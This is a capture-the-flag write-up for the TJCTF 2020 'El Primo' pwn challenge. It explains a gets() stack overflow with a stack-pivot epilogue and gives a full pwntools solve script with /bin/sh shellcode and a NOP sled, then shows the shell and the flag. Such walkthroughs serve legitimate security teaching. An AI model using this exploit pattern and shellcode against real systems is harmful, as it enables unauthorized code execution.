El Primo was a pwn challenge from TJCTF 2020 which supplied a binary. The results of running the binary are seen below, along with a disassembled version of the main function, generated by Ghidra.
michael@computer:~/Documents/CTF/elprimo$ ./primo
What's my hard counter?
hint: 0xffbdd480
AAAA

We can see that we are given an address on the stack of a variable called “hint,” and the dangerous “gets” function is called on the variable. This address could be useful for jumping to shellcode as long as NX is disabled. Using checksec confirms our suspicions.
michael@computer:~/Documents/CTF/elprimo$ checksec ./primo
[*] '/home/michael/Documents/CTF/elprimo/primo'
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
After seeing this, I jumped into GDB to have a look under the hood. Since PIE (position independent execution) is enabled, we know that the addresses of the instructions will not be constant. For this reason we need to use “b main” and “r” to start debugging the binary without referencing any addresses before they have been initialized.
(gdb) b main
Breakpoint 1 at 0x61c
(gdb) r
Starting program: /home/michael/Documents/CTF/elprimo/primo
Breakpoint 1, 0x5655561c in main ()
(gdb)
(gdb) disas main
Dump of assembler code for function main:
...
0x5655568c <+127>: call 0x56555480 <printf@plt>
0x56555691 <+132>: add esp,0x10
0x56555694 <+135>: sub esp,0xc
0x56555697 <+138>: lea eax,[ebp-0x28]
0x5655569a <+141>: push eax
0x5655569b <+142>: call 0x56555490 <gets@plt>
0x565556a0 <+147>: add esp,0x10
0x565556a3 <+150>: mov eax,0x0
0x565556a8 <+155>: lea esp,[ebp-0x8]
0x565556ab <+158>: pop ecx
0x565556ac <+159>: pop ebx
0x565556ad <+160>: pop ebp
0x565556ae <+161>: lea esp,[ecx-0x4]
0x565556b1 <+164>: ret
End of assembler dump.
The last few instructions are very interesting. Whenever pop ecx is called, a value from off the stack (which we control) is stored into the ecx register. The last instruction before the return loads ecx - 4 into esp, the stack pointer. Whenever the return is called, the instruction pointer will jump to the return pointer on the top of the stack. Since we control the stack pointer, we also control the return pointer. All that is left to do is to find which position on the stack is “pop”ed into ecx. This position turns out to be right after the 32 byte “hint” variable. Whener we put a value into ecx, we must also take care to add 4 since it is subtracted in the second-to-last instruction. So far we have something like the following…
'A' * 32 + (desired_esp + 0x4)
What we have so far will put the stack pointer in the desired place but does not write any return pointer. Since the desired_esp will be point right after what we have so far, we can just append our desired return pointer to the end of the string.
'A' * 32 + (desired_esp + 0x4) + somewhere_in_nopsled
All that is left to do now is to add our nopsled and shellcode!
'A' * 32 + (desired_esp + 0x4) + somewhere_in_nopsled + nopsled + shellcode
This same principal is shown in my solve script below. Since the leak indicates the address of the (start of the) 32 byte buffer, we need to adjust our desired esp accordingly.
from pwn import *
p = remote('p1.tjctf.org', 8011)
p.recvline()
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80'
leak = int(p.recvline().split(' ')[-1], 16)
# payload = padding + (desired_esp + 4) + return_pointer + nopsled + shellcode
payload = 'A' * 32 + p32(leak + 36 + 4) + p32(leak + 65) + '\x90' * 60 + shellcode
logging.info('Sending payload using leak %s' % hex(leak))
p.sendline(payload)
p.interactive()
Running the script gives us a shell on the challenge server, allowing us to retrieve the flag. I hope this was helpful!
michael@computer:~/Documents/CTF/elprimo$ python elprimo.py
[+] Opening connection to p1.tjctf.org on port 8011: Done
[*] Switching to interactive mode
INFO:pwnlib.tubes.remote.remote.140163721894352:Switching to interactive mode
$ cat flag.txt
tjctf{3L_PR1M0O0OOO!1!!}